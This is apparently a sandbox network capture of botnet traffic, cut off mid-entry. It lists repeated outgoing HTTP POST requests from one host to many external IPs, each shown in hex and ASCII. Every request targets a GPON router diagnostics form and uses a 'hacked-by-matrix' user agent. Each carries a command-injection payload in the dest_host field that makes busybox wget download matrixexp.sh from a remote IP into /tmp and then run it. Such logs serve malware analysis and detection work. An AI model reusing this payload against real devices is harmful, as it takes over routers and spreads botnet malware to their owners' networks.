Mar 21, 2024 05:16:52.974952936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	59328	79.101.81.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975025892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	48308	210.158.99.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975095987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	59924	5.138.225.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975122929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	37426	178.63.219.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975188017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	52216	109.3.180.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975225925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	39988	79.77.31.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975280046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	33610	79.195.205.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975306988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	53946	79.203.118.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975383043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	34578	210.181.28.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975414991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	53742	5.10.136.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975477934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	48394	210.206.28.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975507975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	52854	42.84.56.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975539923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	40428	79.210.63.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975570917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	36618	79.157.189.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975608110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	38372	94.19.118.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975636005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	39734	210.47.237.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975670099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	48568	178.171.213.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975714922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	56468	37.216.46.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975764036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	35188	118.202.123.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975816965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	38152	79.163.186.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975858927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	58532	37.249.132.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975904942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	57544	5.220.93.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975931883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	58896	94.14.99.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.975958109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	36650	178.96.246.239	443

Timestamp	Bytes transferred	Direction	Data
